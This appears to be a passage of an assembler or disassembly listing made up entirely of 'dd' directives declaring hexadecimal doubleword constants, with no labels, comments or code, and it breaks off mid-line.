dd 0CE204746h, 0C6E76Ch, 0FB2C869h, 65D3149Dh, 2748AE0Eh dd 31DEE0C5h, 72B82539h, 0A3450078h, 7740A186h, 0CE02E280h dd 29568407h, 7235h, 0D288DB6Dh, 664C65B2h, 3DB31D08h dd 0DA19016Bh, 39893123h, 58283904h, 82859DE4h, 34E0C40Ah dd 118BC2Fh, 0DEF7B8D1h, 0FEA6085Dh, 6DE12558h, 0CBC38C1h dd 6FEC05h, 0EFD4562Bh, 0AEE96867h, 5CDEC204h, 5AC0C116h dd 9361AA0h, 55610AB0h, 0CA9B082h, 1E5080F5h, 0EDC253Fh dd 0D8D2677Ah, 8227FA2h, 4A1E90C5h, 0D4905FD3h, 9F6C1Ah dd 0D1E54E03h, 2B98C5BCh, 871FDA00h, 1E764B80h, 0E7471h dd 0A05B275h, 0C4DBC8B7h, 6B0967E8h, 5AE128B3h, 7C41024Ch dd 4B6D8BBDh, 11F08861h, 14698E32h, 0EF80BD00h, 0E8814733h dd 87799305h, 48F0A1D9h, 42691495h, 313083B9h, 77D6B796h dd 1F0C5A00h, 57C72F4h, 0C0C450DAh, 0FC598A34h, 5CC2B400h dd 3C2617B1h, 5778822h, 80553102h, 53A08C1Ch, 2BF03E00h dd 0D67CBB67h, 0E84EEDCh, 69014918h, 29DDEBA0h, 0D9300FD0h dd 0BE86E139h, 59D31F4Bh, 0C365347h, 0F5517CD4h, 780FE891h dd 9C6E016Ah, 6F304A1Eh dd 0E62B0096h, 88313D81h, 84A86790h, 7D1938FBh, 9C182480h dd 31D2810h, 81801395h, 9C225F52h, 244C0400h, 0B5FFF2C0h dd 0B6FE7A00h, 2D32B7D6h, 8861133Ch, 0D0A40429h, 0CB8C2ECh dd 6BD20F21h, 18602A12h, 323A4058h, 0E43C5088h, 19E43F56h dd 2111B395h, 225CA890h, 6B461430h, 0C91090C6h, 90C84A26h dd 0EEAA0045h, 9AFB3097h, 38035E4Bh, 7901E858h, 4F8112A8h dd 0D8A80829h, 0A195368Ch, 0AA460078h, 0ADF6B077h, 6C00C627h dd 18C468CEh, 71743409h, 651C30FBh, 83566731h, 4E1D5427h dd 40489E80h, 108D2360h, 5B13B403h, 0B9CF05BBh, 80ED5A76h dd 0EE7F27D0h, 0A377002Fh, 1D94FFE6h, 5C033B05h, 0EAE16532h dd 0ECE7E059h, 46CBA7Dh, 9A5BF3B6h, 7E28C0A0h, 0BCA1CEDAh dd 5DF801FDh, 1298D111h, 0E4844386h, 40D8CC53h, 0A302F925h dd 88A0D390h, 0E1779h, 4CEC727h, 0AAF1638Dh, 0D7457126h dd 7D293930h, 49604434h, 4D5ADC0Bh, 0E8808261h, 0E28C46C9h dd 0BE4B03B7h, 8D2CECDEh, 0D8543391h, 0C690E2D1h, 0C660954Ch dd 161323Fh, 87158514h, 0FC532AB0h, 0F8011A26h, 457B73B3h dd 8A428318h, 8090D18Ch, 0E8D9ECAFh, 9A004943h, 920B6C52h dd 230DAABh, 0BF407821h, 6C5E0891h, 205E2064h, 6A40F4B4h dd 2424374h, 94DAE761h, 5C56F5E6h, 44FA4880h, 887D4Ch dd 0E8D63C0Bh, 0FEECF952h, 0E50A1B09h, 21C096CDh, 0E30E59EFh dd 10368B25h, 3E1E4284h, 5C3CC7A0h, 50967774h, 4C4D8h dd 77CE5198h, 0C9CB7F52h, 3C0130B0h, 2AB9A4B2h, 0B8914C97h dd 0CD8E003Ah, 1E89DF5Bh, 0BCE712D6h, 0FA64A0B0h, 0F8E92802h dd 209F36C5h, 84D5E2C1h, 8313F671h, 20B08BEDh, 340B9CEh dd 963554BFh, 0C3B13100h, 0FD403845h, 0E29300EEh, 3831050h dd 0BD3D5A0Ch, 0FCB0AAD1h, 1A3F1D13h, 8920CE2h, 3F939508h dd 0B815F4D0h, 0E50D00EEh, 4F6E4C9Eh, 5E00DE07h, 0CC8EC2A2h dd 24028140h, 2F143134h, 0CDF5010h, 0C6EF9B01h, 3203F149h dd 39476510h, 24B3CE1Dh, 0C6D74D80h, 389DB55h, 9F2B728Ah dd 0E3EF9CA3h, 0E8F879A8h, 7D007611h, 0CC151D6Eh, 0B492029h dd 7989E318h, 0FF0BC409h, 0C1102400h, 0A509E880h, 711C8BCDh dd 2AE6074Ch, 3680E9BCh, 41A36504h, 50A14D01h, 54DBA4A2h dd 3FA805D0h, 698E615Ah, 0F27B8Bh, 7534CA69h, 38BAD547h dd 0F056209h, 2E9C90DBh, 0CC7C171Dh, 91C40EB6h, 2620216h dd 88839DBCh, 70972F2Eh, 7A95F8EBh, 0E0D59426h, 0C6472701h dd 0A1E0D91Fh, 517F398Bh, 0B4885B30h, 19C4D85Ah, 0B0E9BA99h dd 6A00A853h, 1907466Fh, 6D0E861Eh, 65C5DA5Fh, 0F4CCCB30h dd 0DE5C00D0h, 0E286B04Fh, 77000D83h, 0CCEF59EDh, 0A13AA095h dd 0E313522Ch, 73FD0EB0h, 44CC2F00h, 6AB5178Bh, 0BA9511E1h dd 28804138h, 0D4DCA05Ch, 0D7CC03FAh, 0AA83C804h, 54428990h dd 0E43A9509h, 10E0D1C4h, 4EE0DD1Ah, 86D09003h, 0F00023CDh dd 6B28E7FFh, 0E85B11A3h, 89680296h, 0D30F8284h, 0FA50407Eh dd 375900E0h, 0EE8398ADh, 6200BB24h, 58BF4111h, 26C7727Ch dd 1118C085h, 0FD9D0051h, 45BC8E09h, 6E0F0FCEh, 0B5235278h dd 58000ACCh, 0BDA8941Fh, 1753DBD4h, 4F8EECh, 7DA48580h dd 0B2C00FD1h, 94326063h, 92E49951h, 822CB23Ah, 0A1405258h dd 67354C40h, 3FC92E4h, 0EC24DE46h, 56A9E957h, 79ADC87Bh dd 2B9030DCh, 0B43EBD12h, 8F161658h, 520018A7h, 7E4EF705h dd 0ECE106BDh, 2889C434h, 6BE22818h, 9C4131h, 5F31140Dh dd 89BC844Ah, 0E0C5212h, 0AB00C4E3h, 3EAA4FC1h, 0D008E01h dd 0F42615D6h, 7CF24EB9h, 0B32E0BD0h, 0FC095758h, 0E3086059h dd 0C4B46727h, 723F09A1h, 791401A4h, 0A99B71C7h, 0C5D9D4F7h dd 97F69100h, 0EF81053Fh, 0C0B34A8Ch, 9F00A9Ch, 3304A090h dd 61128621h, 982218BCh, 0FD03F37Ch, 0F9C2D5FEh, 1E60A725h dd 2DD80D4Eh, 544ADD1Ch, 0F0DED499h, 0A100874Ah, 0E295ADEAh dd 3865BD44h, 24CC71EBh, 1058E502h, 0CC6316F3h, 559088B4h dd 0D8610B00h, 3C7C1174h, 0E673E486h, 0EB521D65h, 0A435138Ch dd 48016C98h, 0C6F1E90Eh, 77C0BC57h, 0BE810A37h, 80909C21h dd 0F91A4A82h, 48B8B27Dh, 670244h, 0AA27A674h, 1A73D068h dd 0A870F0FCh, 107214B2h, 88228429h, 0C31CBD82h, 58597Dh dd 37A81B44h, 843B5878h, 11E3896Ch, 0F0802BBh, 0B38898D5h dd 0BEAD2481h, 60102F00h, 6B00E97Eh, 0E7C5A218h, 0BCBE46h dd 22B86549h, 5AD7A02Fh, 0FC6A1724h, 0C59E6360h, 0DB840098h dd 24FFB491h, 7825E469h, 2CCCE419h, 3A9A48E3h, 0D3072902h dd 0A760AA31h, 3400E745h, 0F5A04187h, 5C67DE88h, 3172BBC5h dd 5E118F52h, 0D3B07057h, 9E492E3Fh, 7212511Fh, 888A7838h dd 0ED061791h, 0CAD5795Eh, 0A5100F0h, 0D2160D64h, 7748E3F7h dd 81BC06DCh, 3B1861A5h, 0F500594Ch, 8384355Ah, 0E3171FECh dd 6800C614h, 0FA53D281h, 0EE572CB2h, 0F78B006Dh, 3C1D4F9Eh dd 50AD2607h, 10B0F856h, 58997863h, 720C5447h, 0A408A5Bh dd 0CE59B20h, 54BBB31Bh, 0E800A318h, 441658E1h, 2851BCC3h dd 0CCA278h, 0C28B1FD2h, 50E9607Ch, 0AB602FEAh, 0B5F2B30h dd 0F1610B4Eh, 688CDB54h, 0EB8130E8h, 0C9E910F2h, 43117C44h dd 0A83C8C62h, 89C53064h, 0B020F4E9h, 23766580h, 2FE47469h dd 0BDC0F8E8h, 0B3F798DDh, 0FA0070E0h, 8826C203h, 7543C4h dd 49CC59A8h, 0A561F409h, 0E6BD9B0Eh, 50DE40CEh, 26F922Dh dd 28B406Eh, 46091F4h, 1509B466h, 50C0EFD4h, 98213D4Ch dd 8376D687h, 0A530C41Dh, 77B16020h, 0D20F9090h, 6127870Fh dd 0A3782260h, 3051A070h, 5D208D3Dh, 0CC140AB2h, 0E520EEA4h dd 8B20D110h, 401E41h, 0C424B6E8h, 743746B8h, 95700701h dd 60A12E04h, 2E780130h, 14CDEDh, 0F40F7B6h, 24A19CD6h dd 0E047103Bh, 3020F2Eh, 0BFA0D6C7h, 56AACE4h, 8604189Dh dd 0B67E01F4h, 59DECAEBh, 2A346187h, 3674828h, 7F5B9A52h dd 75B098B5h, 6008215h, 0D911C1CAh, 4D381A14h, 0BE1208E6h dd 0D3100367h, 76C1BF2Dh, 28844274h, 150150F9h, 7CE0101Ah dd 3E9D9434h, 17185C63h, 0B6D018AFh, 74817C83h, 9C28B0DFh dd 71018008h, 60B8C81Bh, 0A062781Dh, 818799Dh, 0F94421h dd 0DD406514h, 837EF30Bh, 396FEA12h, 0F2E70400h, 6C563E3h dd 980A1F64h, 0BC0B1807h, 7A35FA21h, 4F460484h, 91E3A24Bh dd 9865E738h, 0A4218E08h, 574B0377h, 0C1E94F70h, 7B7D8BF8h dd 953F04B0h, 2C0B28D2h, 83EA1F0Ch, 1D1030h, 2049E3E0h dd 0FA6F9964h, 0B3876703h, 0C041458Eh, 0C153DAh, 97ECB063h dd 0E33B9385h, 0B842022Eh, 6765CC00h, 1538310h, 0DF3FC658h dd 0FB75A7BBh, 120A40CFh, 6F006CF7h, 0E82EF33h, 7C2C9299h dd 0A37E00E7h, 0E560B46Dh, 5F00C6CCh, 82EC36Bh, 391FFFDDh dd 0CF00AF70h, 0B22BD544h, 0A900FC7Bh, 993A3937h, 795A3DCh dd 36D0D88h, 0A570A043h, 0EB0077B2h, 83B03772h, 133834h dd 0DE4DB44Eh, 50EFA6B3h, 89FC58h, 8EF0BF76h, 1FE4ECA9h dd 40B0CF9Ah, 361B5133h, 0D100DE9Fh, 6E604C6Dh, 0C0DABED4h dd 30239620h, 76004257h, 0EE9855FBh, 343788h, 0C9EA034Ch dd 17656A24h, 0FCC79D1Dh, 6E2F8C00h, 601BCF96h, 41B00886h dd 9A005B40h, 8951248h, 3037A405h, 9E20908Ch, 2607547Fh dd 68815D8Dh, 0D1E29970h dd 34AE0F31h, 0BFE60D5Ah, 50E291D7h, 21D0FF00h, 4C85D95Dh dd 7C2603F0h, 0AC2B9A13h, 156C02C7h, 100A78Fh, 46B7F04Fh dd 671438h, 88A6036Bh, 2A901F94h, 0FC8480E4h, 17EA00FBh dd 8A0FD055h, 4D00B1DBh, 3F5A2D6Eh, 0FE398CFh, 0CC1D5FBEh dd 7B6BA661h, 294880C0h, 4AFE633h, 9DA50C2Ah, 0CFA8BE52h dd 8313DD02h, 80FAACF3h, 10B7EF8Ch, 0ED3D00F1h, 13FDE97h dd 3106CE8Dh, 0ACEB4307h, 0A4E10050h, 8AD8CAC1h, 13015675h dd 5C3FD7E3h, 1880C60Bh, 0BC457A41h, 4300D4CFh, 4E93DBD5h dd 0C2ABB9h, 5E5C22CAh, 95DCCC3Ch, 7E47348h, 0ECDBA0B1h dd 3183A86h, 5BF6591Dh, 0BE1D998h, 65D0E049h, 4700A178h dd 0E13041A8h, 1555DAh, 4DC2AADBh, 3D40935Ch, 0D1D5E200h dd 0B1781456h, 185BF03Fh, 80C84E08h, 59302C4Bh, 385D18AAh dd 40E0609Ch, 1CFFEFCAh, 7D60E97Fh, 915D4568h, 0DCD300ADh dd 0ED47E1C3h, 0A0C2256Dh, 0FDD8F057h, 4098BC0Eh, 0B1305D98h dd 6B8E5899h, 851A01DEh, 9D2DCAC0h, 47188096h, 0C358C74Ah dd 8CF1ED4h, 0B8110A40h, 0EB4B0094h, 0CBF28D5Bh, 0E0F95C39h dd 75E91F58h, 8848A079h, 0DDB02270h, 2F40157Ch, 5C931841h dd 135FC8C9h, 0B5E8CE62h, 752136A6h, 1F6ACF79h, 0D23200C0h dd 5D41D9AEh, 682D9E31h, 0B8501EE9h, 5103F819h, 58A1F858h dd 0E918D604h, 7210DF64h, 90C360E8h, 224760E1h, 6823DB00h dd 0E9DDB4CDh, 0D072032Ah, 0C11579C2h, 44CC2910h, 0CA03F400h dd 9BD4092Ah, 9503617Bh, 109DBE5Eh, 0EDD6902Ch, 824B3FE4h dd 6C406000h, 0A404D8E0h, 0B6B02E00h, 78A864FCh, 0DDCE00B7h dd 0DB4E3B6Dh, 221E83C5h, 15DD97A4h, 1B6B8440h, 38CFF42Eh dd 0A80E339Ch, 0F66650h, 7A47DCB0h, 80003E28h, 0A11ABAC8h dd 58EEA226h, 0C6040593h, 0C166ED31h, 0F0924877h, 900EAF91h dd 0A082DD67h, 62B45019h, 0DE710095h, 0EB7AAD1Dh, 0CC030F4Ah dd 76D74618h, 0DC29E85Ah, 73B00396h, 47EE1A8Fh, 0F5CF4001h dd 0C40B6B3Dh, 6DFBAC40h, 349B0767h, 506CB717h, 0EB3F8060h dd 2389D400h, 0B32FBD20h, 22740030h, 44C2C84Ah, 7004872h dd 0FDB4676Fh, 5ABFD9h, 1F0B58B2h, 460802Ah, 420096F0h dd 71B8125Dh, 32476Dh, 61C2F45Bh, 5EA34D1Dh, 6544ED0Eh dd 0A897602Fh, 0A7B47Bh, 0C0694718h, 0CC1BCDD4h, 67F93D00h dd 7FC51EA2h, 0A000B0A7h, 0F1C304h, 0B4E325BDh, 7B5450F8h dd 2136CCA0h, 0E50CC800h, 664512F2h, 376C0057h, 0EBA6203Ch dd 0FC0159FEh, 0B4904C87h, 0BEE805B9h, 6A49006Eh, 5E439CA8h dd 801A640h, 1219E98h, 3AF8CC26h, 0BC7511h, 0EEBBF20Eh dd 1E6C3EADh, 4F029AF0h, 7993C05Ch, 788C6038h, 5886FAAEh dd 0B9000ADAh, 5C1EAA9h, 1D1D2D56h, 0D180C30Ah, 0C8B6769h dd 0D2830ECAh, 87C12ECCh, 0E06A3C88h, 954D10F7h, 74530EB0h dd 3764C046h, 0A31D03h, 0FE5BF43Fh, 82AF5984h, 0E7314301h dd 0A5ACC8E9h, 6A2030h, 3B38816Bh, 0F473D81Ah, 75EDDC00h dd 0F506087Dh, 1C5C90C1h, 8053CF3Eh, 0E729DD35h, 0E503DAC3h dd 11781D82h, 48C0922Fh, 7FBA770h, 995D6C61h, 1201A9D6h dd 0DC245AC4h, 0D8016306h, 293E0803h, 0DC20D931h, 16C900CBh dd 1A6A8723h, 0DF00F72Fh, 0C30165F3h, 7D1F4607h, 0BC69000Bh dd 0E61EEC80h, 0A600677Eh, 591C4F9Bh, 31423Ah, 0C4472E74h dd 0EAA55885h, 0B793F80Eh, 8B98E084h, 7590D808h, 49CD1D26h dd 0F0C2890Ch, 1C25DF09h, 29E40E81h, 0A68B3400h, 1B24B97Eh dd 0E0068F7h, 0F6EFA4E6h, 76177E27h, 0C4FB4872h, 0AF2E5900h dd 42D46D15h, 96E00812h, 0C70DC500h, 0CCA83Eh, 87656F72h dd 0E4D31320h, 9586B01h, 22D75ADDh, 0C240F8h, 49AFD7Fh dd 0E4C7AB27h, 8C6BF430h, 1D8D8Ch, 0E6BDE7E2h, 5DFB0B32h dd 1A53D600h, 6BF0C9CDh, 8BC1C02Fh, 5EA21C35h, 7C313000h dd 0F8667745h, 15F100E4h, 0E9F25162h, 291FED88h, 3007D41Fh dd 9EC05C49h, 0E63175BBh, 19FA1FDEh, 144A6FCh, 7CDB1707h dd 0BA14C8F4h, 830C403Fh, 0C39A42E8h, 800D92D3h, 0B7FED49Fh dd 0B0010078h, 0D11A48FBh, 0B500A8F4h, 0D473F98h, 0E2ADF267h dd 4829059Ah, 0DB025Dh, 7C708FCh, 9B145F65h, 0E806BDh dd 37D1C9ABh, 2556EDh, 0C1042161h, 3C8C6FAh, 3D7B4C00h dd 73B69A38h, 0A9D23A93h, 7617CA80h, 3197BE32h, 88902001h dd 1CCEC05Ah, 0FC6EB5E4h, 8D811D5Eh, 40F4D215h, 0C20B4CCCh dd 7F280D53h, 7203F4A0h, 193EA39Bh, 4D05E1D1h, 29E1E4h dd 8223B246h, 42EA8FA5h, 0DF0285B8h, 536D97CEh, 74986069h dd 0A4EE0C67h, 0AC1015CAh, 0F41CD425h, 2D840EC1h, 41E70F36h dd 3A345A60h, 0D23B13A9h, 3FE1ACDCh, 0C6ABEE00h, 521DCC77h dd 620EF8EAh, 0A580D9F5h, 0D8861F97h, 20479CA1h, 4F390EC4h dd 4A380066h, 0E8B28392h, 2B5A07A4h, 908D86F3h, 0E33A08BFh dd 92E5BC0Eh, 0C8801C5Eh, 8BDD18F0h, 454300E4h, 9EBB558Eh dd 54003224h, 0C67F753Bh, 2E1E95h, 52307870h, 1B315BA9h dd 0DDCB3703h, 0D20C02C1h, 0CAB4C83Ch, 4CBC0B6Eh, 0F8810634h dd 30793167h, 18B06BFEh, 2A0097F2h, 0E6CE98D1h, 72FDD3C0h dd 322F00B3h, 600C5BDFh, 5C004B6Fh, 1F7B3C70h, 16598C89h dd 5DDF1945h, 0C5E9C0ECh, 47B6CC63h, 1870DADEh, 192FA743h dd 1168E380h, 0EA92E0FFh, 6C0F3B00h, 94F841D3h, 3C05F051h dd 28000DF3h, 0F1271A18h, 0D71C5992h, 5A869B2Eh, 16876D6h dd 9F8D6E0Ah, 0BD478F11h, 0CA1C9250h, 0B36AB440h, 0F6C2ABC0h dd 787F17C7h, 0F14042D2h, 66C040E1h, 0B6186FDAh, 4B385E46h dd 647E01CFh, 0A58FC4Dh, 71319FCEh, 5D6070E8h, 0E5A17468h dd 0AAF31E54h, 630C015h, 0D9E2079Fh, 0F800CBF0h, 0A4E08E0Eh dd 573428h, 13D06A79h, 0AC618999h, 0F43B6B00h, 381BAF4Fh dd 0E6C40062h, 0C07AE2C1h, 0A4006750h, 0C72B59D3h, 5B9D8Ah dd 1A739295h, 8172BEDDh, 427DC1EFh, 0DE01DC2h, 0CD004CD0h dd 5B3EA59Fh, 3FC65604h, 1B3F324Ah, 0B47C00F6h, 0FC970199h dd 0C90ECE6Eh, 219DC1F2h, 0DF3A9E02h, 94CCC4h, 9C43668h dd 0A54D8C5h, 0A04C7160h, 1841CEh, 12458E5Bh, 0D4F7C581h dd 8CDB6C0Ah, 2A4094EBh, 3601F7Ah, 0D17C6F4Dh, 8309F71h dd 8D182106h, 65B9001Fh, 543C0785h, 1E254332h, 0CAE000EDh dd 0DB4812h, 5379977Fh, 0BDDE845Ch, 0E2CD7800h, 45401ED1h dd 0CF1512AEh, 8D2402DCh, 0F8A0D6A0h, 0B41E46A2h, 0BF764E01h dd 0BC0E41DFh, 0B828AFD1h, 1E7E9500h, 26714C23h, 8B35D30Bh dd 39DD8783h, 78D4CE70h, 0F1030058h, 525C2321h, 0DC01CCD8h dd 0AADB654Eh, 1888FF1Fh, 642E38B6h, 19E89387h, 0D2C50440h dd 888CA9CEh, 1F7B7618h, 118F4D23h, 8E04003Bh, 0FB69C61Fh dd 926000A6h, 88C09A10h, 0A1097F79h, 8AD866D9h, 0B840E4CEh dd 34714B6h, 0CFB7B440h, 8779C59h, 8F9FA4A8h, 534F1400h dd 0EA1C34A0h, 0B6030D4Bh, 80B6E882h, 6188C350h, 0D9A6C9h dd 0D53F1847h, 2FCA218Bh, 8AFFBC00h, 0F2239702h, 47A51E81h dd 0EB0F00F0h, 579FD41Bh, 0A629D703h, 0F0D0862Bh, 3F1E93BAh dd 18BACDC6h, 0A30E0C03h, 5A809138h, 0BF002367h, 14F23069h dd 7231E9h, 66449433h, 0A0981C2Ch, 4DCBB000h, 806049D4h dd 821501A1h, 0B80E5BC1h, 0B63CECD9h, 0D303F0F0h, 4B47F29Ah dd 431468Ch, 1E0F5AF0h dd 0C94C10C0h, 3D629FCh, 0DEDF01B0h, 0A798A44Bh, 5A019635h dd 4F133A79h, 14473D4Ch, 0D144DC54h, 3B6D44A3h, 48C68344h dd 0BFF642A9h, 29E40C2Bh, 65F5449Fh, 0BCC53CA0h, 1441B589h dd 1112FA2Fh, 8BBDBA10h, 0C8F427ECh, 83C0D4Ah, 5D91B845h dd 487C9D07h, 503D20FAh, 840F0C31h, 0C0CA8CFCh, 0B26C1D6h dd 0C51800E3h, 645E2A5Ch, 1C386BD7h, 0CFBA042Ch, 8DC0BB17h dd 73FDC7h, 667CA33Dh, 0DE06FC39h, 5DBA6400h, 0A619F831h dd 4DC400F2h, 0E49686C5h, 0EE003985h, 0F5B0D327h, 0F3A118h dd 3FBEDB7Dh, 652E63C2h, 0AF5BC801h, 0EEC93CD6h, 35F170h dd 0C6165E1Eh, 36822A46h, 0B400BCF2h, 867ACB51h, 65D9DAh dd 2A08C9B6h, 6B7D8488h, 0E357F900h, 1C9C2B80h, 0C8713BD0h dd 5E03A201h, 0FCEA7201h, 620070C5h, 18BAC9E5h, 0FA598F34h dd 0D69C0051h, 0F5A9070Eh, 0A80005CDh, 0CF1DD0FAh, 67186Dh dd 42FC77A2h, 3F31A9Fh, 0AE83BE03h, 904EE270h, 0DB5762h dd 0F4CC1FEFh, 23D72F8Eh, 0A06D6C00h, 4AEA5FC7h, 0D69602FAh dd 2A0648E1h, 803AD1E0h, 1E421300h, 91D79A4Bh, 944500F6h dd 364D7C1Dh, 8800EC3Ch, 60EA6A74h, 92E00D41h, 2CFC0084h dd 0B685455Bh, 0F7074E2Dh, 0CD4287B9h, 0E4D2DB80h, 0D34D00E7h dd 7F51BCD5h, 0F53148D7h, 3F88050h, 0DD6C90D7h, 0E35D00CBh dd 92568F86h, 6A01FC37h, 600BB64Bh, 30805330h, 0FEF8E99Eh dd 29001F41h, 92522B69h, 7831A625h, 4F2B4h, 3788CDA1h dd 44146067h, 0A8557C30h, 4A22AFh, 0EE931AB4h, 7F52C173h dd 88EFBE00h, 0E0F996FBh, 0C55504E6h, 0AAE97AD9h, 0DA784BC0h dd 0E2D51CDCh, 8B6B4CF0h, 0B7007CE1h, 8038AD18h, 783FC0EAh dd 0C564001Ch, 1753349h, 0A300557Ah, 0D06E2816h, 309D53h dd 0B869BD86h, 81AB8087h, 3EBFB73Dh, 2D2000F9h, 0F458FA28h dd 2A3B004Ch, 942EAAA9h, 24003DB5h, 0CB99E756h, 3467E71h dd 20C5E596h, 1CD01F90h, 0BD1813B4h, 0E298829Fh, 4B38009Eh dd 6A5AEB34h, 0CA308357h, 48A88CE4h, 9AAA003Fh, 919C86E5h dd 0BF12A50Eh, 0C80F44FFh, 6AD220C5h, 135C8804h, 0A8094Bh dd 0C3EFA158h, 2200F5DAh, 6F502C79h, 24897A46h, 3CA8BCh dd 7E8DE3F3h, 0C2005DC3h, 0AFD7FD98h, 0CA5D1h, 4562286Dh dd 0CF54832Fh, 0D4573700h, 0A3E59341h, 43A21C20h, 75768091h dd 0B089FBA9h, 14FCBA01h, 92B3839Dh, 0F8D8040h, 0F55C00F7h dd 0CB911D88h, 0C90527Eh, 0A286EC0Eh, 1FCD60EBh, 84FAA5h dd 19592D33h, 74997748h, 1BD2C007h, 0D130E18Dh, 4D44DC6Ah dd 0FB0BC8A3h, 0F2009043h, 947F3C0Eh, 2B5DD00h, 0E3A6E80Ah dd 0F3D49032h, 78737F8h, 5CB05D24h, 0F3990EAh, 795A90F3h dd 3800B4F8h, 8E37DA68h, 3E01D0FBh, 0B31553C7h, 0BE20A66Fh dd 0A8780073h, 0D8E75163h, 0DD1E66C0h, 208032A7h, 0F948D6C1h dd 0C5CC0EB3h, 0D8E0AAB4h, 8D9D9329h, 2F287B00h, 0DBEBC6C7h dd 0C1F8001Bh, 5EA05D59h, 0AD0FF5D5h, 0C0602B70h, 278F4087h dd 80BE002Ah, 21CB2C83h, 0D503A2E5h, 82D42FE0h, 0E9F80039h dd 0DD1B75EEh, 6600B8ADh, 9C67512Eh, 2B1965h, 0EACB8301h dd 844C54B9h, 0F0467000h, 49583176h, 0E4AB9834h, 0A357037Ch dd 760F9D8h, 0B425DCE8h, 9ED04C39h, 0FA0076C3h, 0B5685C32h dd 369C0318h, 474676Eh, 0BC90DBCAh, 0EB3B4113h, 72A90AB4h dd 1400B824h, 547D51FDh, 32D8005Eh, 749EFC50h, 2700BACDh dd 5D01457Ah, 0B6C2E5h, 6506AFEBh, 23CFFDECh, 0AD9340C0h dd 3E1AB875h, 60804121h, 70F55D5Eh, 0CF480FC0h, 0D0302E4h dd 80F04BACh, 45FD67BCh, 7AF407D1h, 0E6BC32Dh, 5FE7201h dd 2630B03Ah, 0EFBC664h, 0B7BBF42Dh, 8C5BBF00h, 1E0445ECh dd 976296AEh, 0D8E6D683h, 48CC4E61h, 9C1F348Bh, 2312C7C2h dd 0EEF8C095h, 0CB1C01D7h, 0E02681BCh, 6CC14203h, 0D122909Fh dd 0BA771CE1h, 0B2267E6Fh, 0FEB804C4h, 0D0C880D7h, 80A84F7Fh dd 0ED06FCD5h, 239D2FBFh, 922E3E48h, 0C2EB8780h, 49EAA2E3h dd 0C41BC804h, 0D1EAED46h, 30C39C16h, 0AE00A0B4h, 3F962F64h dd 0F5D240h, 2DC5F1B7h, 0DFE449CDh, 801B3D3Dh, 4B45320h dd 7335E1Ch, 0C2802517h, 0E3DFC14Ch, 0BD9892AEh, 80A1DC0Fh dd 12459E0Fh, 11BEA16h, 76DA40E7h, 302C5CEBh, 0E9775360h dd 89929801h, 25104534h, 26F69074h, 80B4443Eh, 682FCA22h dd 91E0DF4Fh, 0D0330D1Eh, 3CF5AC0h, 7A542Ah, 20ACCE7Fh dd 0C1CB170h, 0B09001F4h, 89A59B03h, 8836AF46h, 3E8A8FCh dd 9DEB086Eh, 0A0AF2610h, 3FBA9591h, 0BE19450Ch, 0ED80E0h dd 1B7EDB06h, 886848CCh, 0F0985100h, 0F153FCF5h, 0C3F2E3h dd 7458D717h, 432F48B4h, 0AEFB2B07h, 0E00C2ADAh, 0F3380B26h dd 7580D273h, 0C5F969BCh, 0FDBA5205h, 8D08068h, 1CF334h dd 3B3F29A6h, 959BCAF7h, 0DE149600h, 16AA0EFh, 85EC0045h dd 790261D7h, 2D9806DFh, 0ABF06500h, 0DBC115A1h, 0E44313D1h dd 74820C7h, 5A0195B8h, 17AF59B4h, 0D041ADE5h, 0B7043C5h dd 0D7B019h, 5AC35420h, 9D13B29Eh, 80E7223Ch, 0D7A22A17h dd 73BCEEF0h, 0F5E60018h, 4DA921C1h, 0FB3F5E8Eh, 3BE38287h dd 6043707Bh, 2455DFE4h, 63E84246h, 9EB911E8h, 65AC20B0h dd 70C2F300h, 0B2FFC67Dh, 35DC001Ah, 0A594D20h, 6C00A8B1h dd 30EAE436h, 81FFA4h, 2F0776C5h, 0DDB4BE0Dh, 50FA8505h dd 0C4D0BA11h, 37CB65h, 97F375D3h, 0BE09CAA7h, 829CB63Bh dd 7021D2E5h, 0DCFC8731h, 0A00B10C0h, 0F5DD0184h, 0E339FBE9h dd 0EBB2E09Dh, 0AEF1600h, 9133A7F6h, 945774B9h, 3E512D4h dd 0F54EDB68h, 1CE7A3C8h, 18B4A938h, 0DDB02873h, 2FF60058h dd 0A31E6C17h, 490912D5h, 247A42DCh, 0FC809668h, 0F3BF9DDh dd 3FC5C1B9h, 449A7880h, 38026DC6h, 0DA06094Ch, 0E174C032h dd 0A5B0529h, 835E262Ah, 63E87170h, 0B60092BEh, 7C6906B4h dd 0FAC2CA76h, 0B5092E17h, 0EEB8945Ch, 4C185E00h, 0AECDF95h dd 60F7023Dh, 0EAADC388h, 6F0700D6h, 33BD6A20h, 0A81E587Fh dd 0E2C0D027h, 0FBCF0B0Ch, 4940084h, 5AEFDAA5h, 240B0FDDh dd 80785595h, 0E7B38DE0h, 32520069h, 1DE1A948h, 4AE2204Bh dd 9D04BE00h, 9CC04FF8h, 30C3723Bh, 0A8D838FEh, 8D0A27D3h dd 0FBE59B1Eh, 8E150B00h, 3BB225h, 24B6673h, 6BE8D836h dd 51D4900h, 7BC64FD4h, 6550025h, 39F2C2B2h, 4300D295h dd 0FC9D873Ch, 70CD7C8Bh, 0F610033h, 9FA1E845h, 0F70070E6h dd 40A424EAh, 0C8E4F1h, 4C736D53h, 165E02BBh, 0BDFA3702h dd 40DB2563h, 7D1480h, 0F9552631h, 0F77F7E2Fh, 874A4200h dd 0E11AB3Ah, 0D2200E5h, 76DD778Eh, 0BA0A98E4h, 0E4C78533h dd 18F06598h, 972200C5h, 0C8CB447Bh, 905CD64Dh, 0DB097244h dd 25E5BE5Eh, 74C8C630h, 0C4B80070h, 0ABC09029h, 760009EEh dd 0BDC9F4F2h, 3C78A351h, 0CE8073C8h, 6FF99568h, 0A7B831AAh dd 99606607h, 6DE1B0BBh, 12D8CB27h, 4E3900F3h, 0A4FE6A9h dd 0D4005EFFh, 7A04B087h, 64CFFCh, 0A333C53Fh, 0F56BAD16h dd 39E03175h, 0FD2CAEF4h, 600B29Fh, 4A09BCA3h, 0E8DE008Eh dd 10E5F13Eh, 7400A623h, 0AC44921Fh, 7C452h, 1EA4B83Fh dd 0F7C53CCAh, 9E080E00h, 547A55EBh, 33FD003Dh, 0B68B204h dd 0A0004077h, 6B9679DEh, 2CB1A92Fh, 0E88D84Fh, 6647EB2Dh dd 813F1555h, 308D4063h dd 641DB84Eh, 7B80158Ch, 77D86FB2h, 0B473D7h, 21AADA2Ah dd 61E98DE7h, 80A3793Ah, 71910D60h, 0FC0987Ch, 2EF65E23h dd 40564207h, 40124A4Dh, 1C0EE4B8h, 29848FB3h, 0EFFCA07Fh dd 2E8EC443h, 8AFFBDh, 